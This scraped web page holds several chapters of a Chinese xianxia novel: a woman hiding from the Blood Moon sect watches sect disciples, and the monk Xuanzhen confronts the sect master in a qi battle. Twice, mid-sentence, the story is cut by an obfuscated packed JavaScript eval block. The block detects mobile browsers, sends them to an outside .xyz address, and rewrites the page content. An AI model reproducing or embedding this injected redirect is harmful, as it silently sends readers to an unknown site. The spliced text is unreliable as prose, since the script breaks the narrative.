玄真道:“还不曾,然而施主也不必太过忧心,既然贫僧等到了此地,必会竭尽全力护诸位施主周全。” 陈由己眉间的忧色仍不消:“也不知他是否提前得了消息,得知法师你们来伐,就早早地溜了大吉……” 没有听到僧人有什么回答,陈由己便继续说:“听闻这血月宗主会吸食人的魂魄以滋补他自身的炁,似乎我们被抓入地牢便是为了这等目的。若是今日未能抓到他,只怕以后还要有人因他而丢了性命。不知法师之后有什么打算?” “施主所言为是。我与其他仙门子弟会尽力搜寻宗主下落,才有一个交代。” 得了这个答案,陈由己心中终是松快了一些,但仍不免担忧。 过去她怕宗主的追查,因而不敢杀章辛,如今她有所筹谋,时机成熟,她毕竟是要压下筹码,掷下这转动茫茫未来的骰子。只是,这一回若是没能杀了宗主,不说她对宗主的怨恨消解不了,等将来宗主恢复了元气,死灰复燃,必是要追查的。到了那个时候,宗主若是追查出了她搅的浑水,那她就要大难临头了。 “那便仰仗法师和各位仙师了。”陈由己略有些心不在焉地说。 脑中纷纷,心绪一乱,陈由己便咳嗽起来,她的身体本就不好,小时候肺部落下了亏空,咳了几声便有些停不下来,不多时,帕子上便出现了血丝。 “娘子可是受了伤?可需要喝一点水?” 听到问询,陈由己抬头看向了出声的男子。对方身长玉立,面如冠玉,一双长眉斜飞入鬓,端的是一派风光雅正。 而这声音,于陈由己而言,还算是稍稍有些熟悉,便是方才被季春兄调侃的子方兄。 陈由己开口时声音已有些哑了:“多谢仙师,不妨事的,只是小时候染了风寒又未及时治疗,有时便会这样一阵一阵地咳起来,现下约莫是因着刚才吸了地牢中的烟气,歇一歇便会好的。” “那不如去到某避风处歇息一下。”周子方说,“某等要先灭了血月妖人,不能在此守卫娘子一行,”说着,他抱拳道,“实在抱歉。” 这周子方还算不忘正事。陈由己腹诽,“那便快滚去干正事儿吧。” 心中念头一转,陈由己有了些计较,心绪略略平稳,咳嗽声也逐渐低浅,“仙师说的哪里话。奴等因着仙师们出手相救,如今才能安然无恙地站在此处。仙师有要事在身,不必顾虑奴等。奴等会自己找寻隐蔽之处,尽力不被血月宗要人残党发现。” 陈由己这样回着,身后其他人 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陈由己听到这里,心里都要气笑了,面上却仍一脸忧色。她心想,这六大仙门的人有谱没谱啊?就看这三人吧,他们来当正道大侠真是屈了才,正事商量不出个屁来,插科打诨倒是一点不肯落下。若是个个都像这仨一样,别说端了血月宗老巢,就是在他们面前直接搭巢都没事的样子。 她都想亲自跟着他们,和他们一起去端了血月宗。 她原以为如今仙佛之门林立,灭了一个小小血月宗不是什么难事,她就指望着这些正道人士来杀了宗主。她原本还以为,宗主将血月城鉴于边陲之地的凉州,也是为避开正道之锋芒,现下看来,这正道哪有什么锋芒,不如说像是嗡嗡牛氓。 这灭血月的计划真到了节骨眼,却眼看着靠不住。看来,她真要入局更深,变一变她的计划了。 正在踌躇之际,史佩珩问:“玄真法师,你道该如何是好?” 陈由己耳尖一动,很快听到玄真回答:“贫僧以为,今天不如就安顿于血月城中。一来,血月城与镇子的距离较远,中途又无休息之处,若是未在入夜之前赶到,恐怕不好办;二来,这些施主未……”说到这里,他稍停了一下,“这些施主大多应该都未曾修炁,今日受了劳累,最好修养半日。” “法师说的是啊。”史佩珩念了一声,“阿弥陀佛。那今日便剿了这血月城,夜里在血月城中休憩,明天再起行。” 5. 2-2 积恨难消分第二2 陈由己他们被安排在了血月宗一堂主的寝居中。 陈由己虽对这些正道人士不太放心,然而她终究是装作了柔弱民妇,不好跟着他们同行讨伐吞月君。 况且气平了后她思索一番,想到,若是她与正道人士一同去找宗主,真找到了,被宗主见了她与正道人士搅和在一起……当场杀了宗主还好,若是被宗主跑了,或者他们不敌宗主,那她绝对死无葬身之地。宗主对叛徒一定会比对正道人士还狠。 “算了吧,”陈由己在心中对自己说,“就交给他们吧。虽然他们看着不太能指望上,但毕竟她还是暂时保存自身。留得青山在,不怕没柴烧,退路什么的,能留一点便还是留一点吧。况且,”回想起地牢中的情景,“那秃驴看着似乎还算靠谱吧……罢了罢了,权且安心在此处吧。” “玄真大师抬手,无人能看出他究竟是什么时候释出的炁,这门便轰然而开。”随着萧其温激情澎湃地回顾方才的情景,说到此处,众人便抬起头看向洞开的大门,大门早已颓然落在一旁地上,了无生气。 萧其温一手拿着折扇指点江山:“此时,这妖人正在用餐,回过头来看到我们时嘴里还含着未咽下的馕饼,神色相貌就宛若被置于砧板之上的胖头鱼。” 这间屋子属于武堂堂主。陈由己想起了武堂堂主的长相,不禁在心中道:“这人倒是适合去说书。” “这妖人一瞬间便暴怒而起,一掌随之而来,带了罡风。看来这妖人也不是好对付的!可玄真大师是谁?佛门年轻一辈中最有天赋的修炁者!这妖人的一掌对他来说根本就轻如鸿毛、微不足道。玄真大师只是轻轻一抬手,那妖人的攻势便被止住!何止如此,就在玄真大师伸手的一瞬间,那妖人就像是被人重重拍出一掌,摔倒在了地上,嘴角溢出了鲜血。” 萧其温一口气说了这么多,不禁喘了一口气,拿出自己的水囊喝了一口。 这时,修士中一个僧人模样的人道:“施主过誉了。” 萧其温不以为然:“玄明大师,你便不要谦虚了。谁不知道玄真大师的修炁天赋呢?” 史佩珩道:“其温兄说得有理,我很久以前就听闻了玄真大师的大名。我还听人曾说过这样的话:‘佛道之炁必由玄真法师传承。’” 陈由己咂摸着这些人的话。” 玄真大师大约就是和她一起在牢里救人的那个秃驴了。他明显是他们这六大仙们的主心骨,大家似乎都依他马首是瞻。况且,当她在牢里看到那秃驴释炁时,她隐约可以感受道他对于炁的控制程度。 陈由己承认,那秃驴确实是有些本事的,心道:“不错,若你真有本事,今日可得要结果了宗主啊。 萧其温钦慕道:“我看玄真法师,他眉有厚积薄发之态,目观物我无不同,玄真法师的境界早已非我等能及。” 这时,一个脆生的声音响起:“那这血月的妖人也是玄真大师杀的吗?” 血月宗地牢里关的有不少都是半大的少年,甚至还有几名孩童。这问话就来自于一名总角少年,他指着一旁武堂堂主的尸体。 少年头发分成两边,扎成了两个羊角辫,面庞红扑扑,明明刚刚从地牢中是出来不久,但已然知晓自己脱离了危险,栖身与大侠的庇护之下,便全然地消散了恐惧的神色,发亮的眼睛憧憬着仙门风范。少年皮肤微黑,面上有些脏污,不知是男孩还是女孩。 萧其温面对这样的机会,自然是选择继续口若悬河:“少年,问得好!正说到那血月妖人吃了玄真大师一掌,吐了血,但玄真大师毕竟慈悲为怀,出手未伤及他性命;他却不见棺材不落泪!且他身为妖门之人,最擅长的便是鸡鸣狗盗。他知道自己不是玄真大师的对手,便想要偷袭。” 少年睁大了眼睛。萧其温对少年的好奇感到十分满意。 “谁能想到,这血月妖人在自己的堂屋之内竟也布置了机关。他躺在地上,一名年轻气盛的仙门弟子正想要上前查看,此时,从他的斜侧竟飞来一柄匕首,这匕首闪着幽蓝寒光,必是有毒的!这弟子的修炁境界才刚入释炁境,对外物尚不能从容控制,更不要说在这样惊险的危机的境况之下。眼看这匕首已经躲避不及,正要刺入这弟子的颈间,这名年轻弟子只怕要折戟于此。” “就这当口儿,匕首碰到了无形的壁一般,停了,落了。”这句话的声音慵懒随意,带着调笑意味,和萧其温声情并茂的叙述全然不同。 “你干嘛抢我的话,薛季春!而且正在我说到精彩处!” 薛季春转着扳指,懒懒靠在榻边:“因为想看你被抢了话继而瞠目切齿的样子。” “你……你这……”萧其温“这”了一会儿也没这出个所以然来。 “你还说不说,不说我就继续说了。” “哼!”萧其温立即弃城退守,“我当然说!” 那些被“大侠”看守保护着的平民中都有看着他们斗嘴而笑起来的。 “刚说到……就在千钧一发之际,匕首无法再向前,碰到了……无形之壁,”萧其温不情不愿地用了薛季春的形容,“这匕首‘铮’地一声被弹落在地,发出金石相碰之声!这年轻弟子未释出任何炁,却安然无恙。你道这无形之壁究竟是什么?” “佛门的功法,金刚不坏。”薛季春道。 萧其温:“……” 他忍了气解释道:“这金刚不坏,是佛门的绝技之一,能控制外界的炁,使刀枪棍棒皆无法穿透。” “哇!”那名总角少年不禁感叹,“我听说要控制外界的炁是很难的!” 萧其温露出一副“孺子可教”的神色:“说得没错,少年,你很有悟性!要控制外界的炁必然就已经达到了释炁境界。你知道释炁境界是第几境界吗?” “我还不知道这么多!大侠,拜托您告诉我!” 少年一句话极大满足了萧其温好为人师的心理,他立刻解答:“释炁境是修炁的第三重境界。修炁者一共有五重境界。第一境界是……”他故意停顿了一下,留给少年作答的机会。 未曾想,是薛季春这根搅屎棍抢了答:“是感炁境。” 萧其温闭了闭眼,随后道:“薛发,”他叫了薛季春的大名而不是表字,“你是怎么做到每时每刻都这么令人生气的?!” “其温兄,这是在修炼涵养,若你总是这样容易动怒,到了危急时分,不利于你正确判断形势呢。”他轻描淡写道。说完,眼神便流转到了少年脸上,此时少年的目光已经被他的解释所吸引,他便继续解释:“入了感炁境,就感知到炁的迁流波动。” 萧其温故意咳了一声:“炁可是无处不在的!不仅仅是自己体内有炁在不停地规律流转,外界也是。一般来说,修士会先感受到自己身体内的炁,随着不断将注意集中于感炁上,对炁的感知越来越清晰之后,修士也逐渐能感知到外界的炁。” 见到少年的目光重新被自己吸引,萧其温屈指抵于下巴,做出深沉样子:“随后,当修士慢慢开始可以控制自己体内的炁,这便进入了动魄境。” 陈由己对这些早已熟悉,但听着萧其温好为人师又爱说话的样子,还有薛季春冷不丁冒出一句偏要抢对方风头的样子,陈由己开始逐渐觉得倒也有点意思。许是因为听得玄真境界不错,又已经出发去寻找宗主,她便多少放心了一些;又许是她很小的时候就进了血月宗,以为仙佛仙门都是一副道貌岸然的样子,倒未曾想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326712|183260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其间的人也性格各异。 陈由己打了个哈欠。正在这时,远处一声爆鸣之声传来。陈由己不由得耳尖一动。 她悄然去觑仙门子弟的神色,见他们似乎并没有什么反应。 看来这几个的修为都比较平常,对危险和声响似乎不是那么敏锐。 陈由己拿出帕子轻咳了一声:“诸位侠士,不知是否在地牢中呛入了些许烟尘,奴在这里似乎有些呼吸不畅,能否去外边透透风?” 史佩珩立即点头:“姑娘说得不错,在下也在这屋里感到有些憋闷,不如同姑娘一道去外边?” 陈由己声调轻柔,表情无辜,看着史佩珩嫣然一笑:“若是这样,那便再好不过了。” 陈由己仰头看了一眼地上的影子,连影子似乎都是红棕色的,这种黑中透着红的颜色。陈由己已经习惯了血月城中的一切都被染上或浓或淡的红色。 看着地上的影子,她想,这破空之声是否是因酣战?快要到申时了,秃驴他们已经离开了将近一个时辰了,大概是找到宗主了吧。 宗主还没离开就好。 陈由己朝着西面,风吹来的方向。她闭上眼,深吸了一口气,似乎是在缓解方才所说的呼吸不畅,实则她在调整吐纳,让自己静心下来,以便更加清楚地听到远处的声音,感受到远处传来的炁的波动。 然而似乎是太远了,她已经无法感知到他们那边炁的波动,只有一点点断续的声音凭借着风才传入她的耳中。这还是因为她特意修了“聆音察理”,这才让她的听力优于常人。 “断指老妖……跑得了……” “小心!” 砰—— 这声音太模糊,陈由己无法辨认这些声音到底属于谁,然而这也无需辨认,听到了“断指老妖”四个字,那就说明他们确实已经遇到宗主,似乎正在交战。 只是……听起来他们似乎并不占优势的样子,甚至遇到了些危险? 陈由己讨厌仙门人,不想他们好;却更讨厌血月宗。眼下便在心里站到了仙门人一边,盼着他们快快杀了宗主。 嘈杂的声音—— “……玄真大师!”“……受伤……” 似乎是这秃驴受伤了?不是说这秃驴厉害得很吗? “姑娘,你还是感到不适吗?” 这个声音倒是很清晰。 陈由己一愣,才反应过来,原来这一句是身旁的人问的。 她刚才听得费力又专注,几乎忘了身边还有一个。 见她没有回答,史佩珩又问:“我见你眉头紧锁,姑娘,你感到怎么样?” 陈由己调整了一下心绪,“多谢侠士关心,我自小身体便不是很好,偶然会有些呼吸不畅,但不妨事的,过一会儿便会好的。” 史佩珩“啊“了一声,”自己的身体还是要保重啊。我曾经有一位友人,他因为不注意自己的身体,某一日突然便在床上起不来了,若不是管家发现了他……” “玄真大师!”远处传来的喊声分走了陈由己的注意。 陈由己心中一沉。这惊天动地的声音,不会是秃驴死了吧? 又是一声“玄真大师!” 怎么?这声音究竟是喜是悲? “玄真大师这是……”压抑不住的激动声音,后面却被一个碰撞的声音所掩盖。 “姑娘。”史佩珩喊了她一声。 陈由己的注意力这才转回到史佩珩身上。史佩珩已经说完了话,正有点疑惑地看着她。 她轻轻吸了一口气,压下心中烦躁,然后笑了一下:“侠士说的是,也不知道怎么了,方才还有些头晕,等出了血月城,是该去找个医馆好好瞧瞧的。” 6. 2-3 积恨难消分第二3 玄真一行向血月城的西面而去,途径血月城的正堂、炼魂场以及某些堂主的寝居,只见那里的妖人也是死的死伤的伤,大约是因为凌霄阁的人先于他们已经探查过了。 玄真几人终于到了血月宗主吞月君的寝殿,门扉紧闭。 这时,碧落宗的一名年轻弟子说:“寻遍各处都不见断指老妖的踪影,想来是在这里面了!” 说着,便打算上前一探究竟。 “苍旻!”周子方叫住了他,“方才鲁莽接近武堂堂主,险些丢了性命,现在怎么还是这样?” 玄真道:“门内确实有炁的波动,不同寻常,施主小心为好。” 周苍旻对周子方的喝止是不以为意的,然而玄真毕竟救了他一命,方才血月妖人的那柄匕首将将要刺入他脖颈之际,是玄真大师用金刚不坏护了他,加之玄真确实有真本事,有让周苍旻侧目的能耐。 周苍旻收回了手,对玄真道:“多谢玄真大师提醒。” 听了玄真的提醒,周子方也调整吐纳去感知门内的炁。 果然。门内的波动有异样。 周子方便看向了玄真,有些奇怪道:“我也感到了炁的波动,这波动并非寻常的运炁,我觉不真切,但似乎是有大量的炁均被打散了……”说到此处,周子方面色一白,“莫不是如传闻所言,吞月君这老妖正在吸食人的魂魄?魂魄是炁之集聚,若是吸食人的魂魄,那么这样不寻常的波动似乎也说得通……” 说话间,玄真已走到了门前:“施主所言也正是贫僧的猜测,那便进入屋内一探吧。”说着,他开了门。他开门的样子坦然,似乎没有防备。 室内一片幽暗,就在开门的片刻之后,石壁上的灯渐次亮起,屋内陈设也登时显现。 正对大门的便是一张榻椅,这榻椅却高高在上,位于几层台阶之上。若是在平时,可以想见吞月君依凭于榻椅旁,高高在上地睥睨众人的姿态。如今,这榻椅之上却空无一人。 然而,周子方心中知晓,现下并非去观赏屋内陈设布置的时候。他们需得尽快找到血月宗主的所在,若是动作快些,或许还能救下一条人命。 周子方欲让自己静下心来去感受这种波动,却发现难以判断这种炁的波动究竟来自于哪里,或许是他们距离太远,又或者是如妖宗魔宗常做的那样,建造了一间能在一定程度隔绝波动外泄的密室。 周子方心中因焦躁茫乱,正欲调整吐纳重新探寻这种波动的源头,便见到玄真便绕过这如祭坛一般居高临下的榻椅,进入了一后方的寝屋。 可惜,吞月君也不在寝屋之中。 “此处炁的波动更为清晰,”玄真在寝屋中走动,不时地停下,感知各处炁的不同。到了某处,他单膝跪地,俯首似乎去感受从地下所传来的波动:“此处或许有暗道。” 周子方恍然“啊”了一声,随后道:“那我们便快找找有没有打开暗道的机关?”说完,不忘立刻补充,“苍旻,你和我一起找。” 苍旻不满地嘟哝了一句,还是到了周子方身旁。 略略搜索一番却没什么发现。 恰在这时,萦绕在屋中的那种不同寻常的波动更加紊乱,简直如同发出了轰鸣一般。 周子方心中着急,想,若是这断指老妖真在吸食人的魂魄,那这人必是正在承受巨大的苦痛,现在比刚才更甚。 正在无措之间,周子方听得玄真道:“各位施主烦请退开一些。”只见玄真伸出手掌,置于地面青砖之上。 周子方下意识地退开一步。须臾之间,一股剧烈的波动爆发,淹没了那种他们方才探寻的异常波动。 玄真爆发出的炁携着排山倒海之势,席卷开来。只一瞬,地面的青砖便爆裂碎尽,偶有屑粒飞溅,大多都化成了齑粉。 烟尘落下,一道幽深入口赫然出现在地面。 “烦请苍旻施主与孟言施主等候于此,以作防备,其余施主请自便。” 周苍旻与李孟言是这些弟子中最年轻的两人,也是修炁境界最低微的两人。周苍旻对于玄真的安排显然有不平之色,然而他也知晓眼下形势——有人的性命或许正危在旦夕——便咽下了这口气,应了玄真。 李孟言同玄真道:“大师小心为上。” 玄真此刻已进了入口。一道“多谢”便从暗道处闷闷地传来。 紧接着玄真,周子方也入了暗道,他对玄真说:“我同大师一道,也能有个照应。” “多谢施主,施主也需多加小心。” 周子方进入密道,正如玄真所说,处处小心,毕竟在血月这样的妖宗里,密道中出现机关是常见之事。 然而走了一阵,小心防范,这里竟无一处机关。 密道短而直,很快,周子方便随着玄真到了尽头。 周子方正疑惑间,看着密道尽头的一扇铜门有些踌躇,这时,他见玄真不作停留,径直到了门前,“施主,我这便开门了,请小心。”话音刚落,他推开了门。 这门居然都未曾上锁,一推便开。 门甫一打开,一阵极为强烈的炁的波动便涌来,是周子方刚才隐约感知到的。这种炁的波动不常见也太激荡,一时令周子方几乎有些猝不及防。 与此同时,一阵破空声迎面而来!一支箭矢向玄真面门而来。 这瞬间强烈的波动让分了周子方的神,让周子方的防备之心弱了一瞬,正是在这一瞬,吞月君设了机关。 周子方就站在玄真身后不远处,若是玄真躲过了这次暗算,那周子方未必能躲过。 如此情形也旋即引发了周子方的本能反应,他运炁于手足,以应对这支箭矢。 顷刻,便是“叮”的一声,箭矢落地。 又是玄真法师的金刚不坏。 门内声音传来:“呵呵,两位?能找到这里倒也不算太废物。”这声音嚣张,声线中带了些鼻音,这鼻音给声线增添些绮靡,甚至带了一些女性的婉转。 周子方定了定心神,这才看到了密室中的景象。密室中可称作空旷,几乎没有什么陈设,只有一个男人席地坐于密室中央,他身旁是一个少年。 男人看着大概三十出头的年纪,正看着他们两人。他嘴角含笑,黑发披肩,一手半抓着身旁少年的头,有种诡异艳丽。 而他身旁的少年则半睁着眼,目光涣散,躺在地上动也不动,不知是昏厥过去,还是已经魂飞魄散。 “敢问施主,你便是血月宗主吞月君吗?这孩子是因为被你取走魂魄而这样奄奄一息的吗?” 周子方听玄真这样问道。声音听着与平时并无太多不同,但字字清晰,几乎是咬着每一个字说出来的。 此刻,周子方反应过来,方才强烈的炁的波动,现在似乎已经归于平静,周围的炁都如无风日照下的河流般安静流淌。 可是周子方的心绪并不平静,他不免忧心这名倒在地上的少年。他的魂魄散尽了吗? 他想要沉了心去感知少年魂魄的波动,然而心中焦躁,无法平静,少年的魂魄也显然已经不似常人般充盈,令周子方难以感知。 蓦地,他听到吞月君那带点儿翁的声气:“若我说不是,你便信吗?你若不信,那还有什么好废话的?” 只在这片刻之间,周子方感到身边的空气骤然变冷,似乎有阴湿的雾气自脚边漫上了他的脊背。 不!不是雾气! 在他的脚边,似乎真有什么在蠕动?甚至似乎传来了似有若无的“嘶嘶”声。 是蛇?! 他几乎感到指尖触碰到了什么。 周子方倏地向下看去,只见一条以炁化成的小蛇正欲攀附上他的手臂,距离他的指尖仅几寸之遥。小蛇呈现透明状,身体不过麻绳粗细,长短约莫三寸,然而进袭之势却凶猛异常。 周子方方一低头,小蛇便随之暴起。张开大口,其口裂之大远超寻常毒蛇,几乎就像是将它自己的头撕成了两半,要狠狠楔入周子方的手掌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326713|183260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更可怖的是小蛇的尖牙,与身体的透明不同,呈现有幽深的蓝色。 周子方很快明白——这是吞月君将一部分的炁化为了蛇,将毒液藏在了蛇的尖牙之内。 周子方心中骇然,不仅因为这近在眼前的尖牙与毒液,也因为吞月君对于炁的控制竟然已经如此娴熟! 当修者控制炁的时候,必然会改变炁的波动。而炁的波动一旦改变,就容易被其他修者察觉,因此只有达到高深境界的修者才能够兼顾隐藏炁的波动,与此同时又能够精准地让炁为自己所用。 周子方早已经过了感炁境,然而在吞月君释放炁蛇时,他却没有注意到,可见吞月君应是刻意将炁的波动掩藏入周围之炁的波动中了。 然而,现在却不是想这些问题的时候! 眼下必须要专心于对付吞月君才是。 周子方运炁为剑,一柄透明的炁剑电光石火间从周子方掌间而出,一剑便贯穿了小蛇,正刺入小蛇大张的口裂中! 然而小蛇却沿着炁剑直直向上游动,任凭炁剑将它劈成两半,攻势不减,转眼间便会碰上周子方的手掌。 周子方当机立断,弃了炁剑。炁剑甫一离掌,周子方立刻向后掠了几步,与小蛇拉开距离。 距离合适之时,周子方立刻将剑炁分散。 原本透明的炁剑似是爆裂一般,陡然化成了无数小针向四面八方散射开去。烟花针! 小蛇被撕扯成碎片,其中的炁一同地散了,藏于牙中的毒液也飞散开去,甩于地上,如同一串铃兰。 周子方正待转向吞月君,然而一波刚平一波又起! 在他方才对付小蛇的时候,另一条小蛇已悄然接近他。此时,周子方感到他的背上似乎有什么在蠕动,快速而阴险。 周子方再次运炁凝出一把炁剑。透明之剑从周子方的右掌之间出现,随后脱离掌间,受了主人的意志跃向空中,向小蛇挥下。 他背上的小蛇被劈成两截,周子方控制炁剑,没有伤到自己的皮肉分毫。 成了两半的小蛇却似乎攻击不减。它的尾部已经有心无力,落于地上蠕动几下便消散于无形。然而头部却依然大张口裂沿着周子方的背部诡谲移动,誓要裹住周子方的脖颈,将毒液注入! 周子方心念如电转:这小蛇已贴着他,若是像方才那样,将炁剑化为烟花针,撕碎这小蛇,它牙中毒液必然会溅射在他身上! 周子方赶紧运炁下意识要在自己和小蛇之间形成一道炁墙。 然而在这样的危急关头,他一时竟忘记了,他对炁墙的塑造并不熟练。 仓促之间筑起的炁墙一触即溃。小蛇穿过这道炁墙竟如穿过湿宣纸一般。 眼看小蛇距离他的脖颈已经近在咫尺,他周子方今日或将命丧于此。 在这千钧一发之际,小蛇却直直撞上了一堵新的炁墙,前进不得。不仅如此,下一刻,周子方感到这炁墙似乎收拢起来,将小蛇包裹,透明的小蛇以不自然的姿势扭曲于这道炁墙之内。炁墙已成了炁笼。 炁笼越收越小,小蛇的身体也越挤越紧。直到整条小蛇被挤压在丹丸大小的球形之内,终于小蛇受不住炁笼的压力,便消散了,终于化为了不规律的炁,与世间无数的、无穷的炁融于一体,如水滴归入河海。 那原本藏于牙中的滢蓝毒液仍锁在炁笼之内,因炁笼收缩的力量没有任何溅射,和小蛇一样安静地死去。 下一刻,炁笼消失,毒液便落于地上。 周子方正欲与玄真道谢,又是一条小蛇!速度比方才两条更快,更令人猝不及防。 这小蛇难道无穷无尽吗?! 然而,根本没有等周子方出手,小蛇又被玄真关于炁笼之中,命运与上一条小蛇别无二致。 “秃驴,你有空管别人的闲事不如管管你自己的命!” 吞月君话音刚落,一声虎啸传来,连带着密室的地板似乎都抖了一抖。 这虎竟然也是由炁凝结而成! 7. 2-4 积恨难消分第二4 周子方骇然间,见到玄真在两人面前再次筑起了一道炁墙。这大虫见一时间无法接近两人,只得在炁墙之外伺机而动。 它伏下前半身,两爪在地上按踏,没有眼珠的眼睛却死死盯着玄真。 周子方只见玄真散了炁墙,未等这虎反应过来,空中骤然出现一个由炁凝结而成的巨大拳头,以山崩之势只冲这炁虎的额颅而去。 这炁虎似乎比平常老虎反应更快,它霎时调整了身体姿势,往旁边一跃,避开了这一拳。 巨拳落地,发出轰然巨响,刹那间带起了一股气浪,烟尘纷飞,齑粉弥漫。周子方见玄真在粉尘之中岿然不动,任身上所穿的僧祇支在气浪中翻飞。 只见玄真无悲无喜,一双眸子望着前方,又似乎什么都不在他眼中。他抬起双手,做出了一个合十动作。下一刻,空中一双巨大手掌出现在炁虎左右,以炁虎为中心迅速合拢。 炁虎向前一扑,躲过了被拍入炁掌之中。 恰在此时,一道炁剑没入了炁虎的额间。 周子方意欲效方才之法,将炁剑化作烟花针来了结这炁虎。 然而正在他控制炁剑之时,没入大虫额中的炁剑瞬间竟散了。 周子方懊恼,心道,若是自己以往修炼更勤快一些,或许他的炁剑就没那么容易散。 方才的炁剑并未对炁虎造成太多伤害,很快这炁虎便再次朝他们扑来。 与此同时,另一只炁虎也从吞月君身后步出。只瞧了周子方他们两人一眼,便挟着风驰电掣之势朝他们奔袭而来。 周子方心中暗道一声“不好”,只见空中重新又出现一只巨掌。巨掌以迅雷不及掩耳之势盖下来。 先前的那只炁虎往旁边一翻,闪过了一掌。 却殒命于之后的一掌之下——不知何时,第二只巨掌又凭空出现在了炁虎的正上方。刚刚躲过一掌的炁虎被盖于巨掌之下。 很快,由炁凝结而成的掌与虎尽皆消失。 当周子方的注意终于从第一只炁虎上转移的时候,他便马上意识到他们的危机还没有解除,另有第二只炁虎。 当他看向密室中的情形,讶然发现,第二只炁虎竟也已被拍于掌下。 “不错,秃驴,你有些本事。” 玄真不答,仍是不悲不喜的样子,伫立于密室之中,如遗世独立。 吞月君冷笑一声,猛然抓过了他身旁躺着的那个半大少年。 “秃驴,若你真有本事,便试试看从我这里救下他!” 周子方忍不住叫道:“断指老妖,你想干什么!” “我想干什么?你不是知道么?” 只见吞月君张开五指,将手覆于少年的头颅囟门之上。 周子方心中震动。 这断指老妖竟是要继续吸食孩子的魂魄! “住手!” 周子方红了眼睛,要冲过去。 却被玄真抬手一拦:“施主莫要冲动。” 周子方稍冷静下来一些:“可是你叫我怎么能不冲动!若是再被这断指老妖折腾,这孩子就不可能活了!” 然而之前所感知到的那种异常而充满痛苦的炁的波动却没有再出现。 吞月君如蒙了一层布纱的声音再次响起:“我听闻你们所练的一种功法叫‘金刚不坏’?”他显然是在对玄真说话。 玄真却仍没有回答。 吞月君道:“我听闻,‘金刚不坏’练到极致,能护的不仅仅是肉身,还有魂魄。今日一见,果真如此!好!” 玄真似是没有听闻一般,再次双手合十。 此时,吞月君滑出袖中小刀,转瞬之间,这小刀便已抵在昏迷少年的脖颈处。 周子方心中一惊,只听吞月君说:“你护了他的魂魄,便还能护他的肉身吗?” 回答他的是铮然之声。 吞月君手中钢铁质地的小刀遇到金刚不坏,刀锋迸溅出一颗火星,从吞月君手中脱落了。 吞月君一愣,随即仰头大笑起来:“好啊!果然不错!那就来试一试吧!” 随着他说完,一股巨大的炁似乎释放出来。 这炁没有被凝成任何其他事物,仅仅是单纯的炁。然而这炁实在巨大澎湃,有如排山倒海一般呼啸而来。 周子方立即调动体内之炁,以护住自己的身体。 他虽然对吞月君十分不齿,然而此时此刻却不得不承认这断指老妖能称一宗之主、能占一方之城,确实是有能耐的。 周子方让自身的炁以一种稳定的规律流转、分布于身体各处,这是他当下能做到的极致了。 然而当吞月君的铺天盖地的炁浪席卷而来的时候,他感到自己几乎要被掀飞,而自身调动起来的抵挡防御之气也只是聊胜于无,堪堪让自己的脏腑不受损伤。 他坚持不了多久的! 他体内的炁受到了吞月君炁浪的影响,似乎是要叫嚣起来!属于他的炁竟犹如在冷冽寒风中将将敝体的单薄衣物,要被从他身上撕扯下去。 他能够控制的炁还剩下多少?吞月君的炁浪又能够维持多久? 正在周子方苦苦支撑时分,一道炁墙在周子方面前悄然形成。终于挡住了这滔天的洪水与飓风,给了周子方喘息的时机。 周子方想要开口道一声谢,冲出口的确实有一声咳嗽。 玄真的声音在这澎湃的炁浪之中平稳流淌:“施主不必言谢,尚不可掉以轻心。” 周子方吸了一口气,余光却瞟到了吞月君身旁的那名少年。 在吞月君的小刀脱手之后,这孩子就被吞月君随手甩到了一旁。如今就像一条破麻布袋一般被扔在地上。 周子方心中一凛——这少年如何能承受得起这样的炁浪? 难道说玄真大师继续用金刚不坏护着他? 若果真如此,那么玄真大师又承受了多少压力? 未曾想,怕什么便偏来什么。 伴着吞月君的一句“你的金刚不坏怕是有了破绽吧!“,玄真立时往脖颈处一抓。 周子方这才看清,玄真手中抓了一条炁蛇,比之前的小蛇更细小一些。顷刻之间,这炁蛇就消散于无形中。 往玄真颈项处望去,只见玄真宛如玉石一般的脖颈之上有两个小小血洞,与被平常蛇咬之后的伤口极为相似,虽然创口更小,然而可能更为致命。毕竟这炁蛇牙中的毒液大概是那断指老妖特意调配的,必然难解。 想到这里,周子方脸色一冷,向吞月君喝道:“断指老妖!卑鄙无耻!我今日要你狗命!”说罢,便想往前冲去。 一声虎啸! 玄真当下扣住了周子方的手臂:“施主,切莫冲动。” 周子方旋即强迫自己冷静下来:“……大师,你方才有听到一声虎啸吗?” 两句话之间,吞月君释出的炁开始逐渐减弱,似乎终于能得到些许喘息。 却,又是一声虎啸! 两只炁虎已经拦在了吞月君身前,吞月君则已经退到了密室的角落。 来不及想什么,两只炁虎一同发起进攻。一只是向着周子方和玄真二人而来,另一只却是向着那昏迷的少年而去! 周子方焦急又压低了声音对玄真说:“大师,你现下中了毒,应当运炁护住你的筋血心脉才是!这炁虎就由我来对付吧!”周子方说得飞快,话到最后却有些犹疑了,“至于那孩子……” 看来是救不了了。 周子方懊恼于自己的无能,因此这句话怎么也说不出口。 玄真打断了周子方:“施主无需自责,我会用‘金刚不坏’护住他的肉身。” “大师!”周子方重重说,“你应当护住筋血心脉才是!” 此时,炁虎以来到了面前,周子方跨出一步直面炁虎。 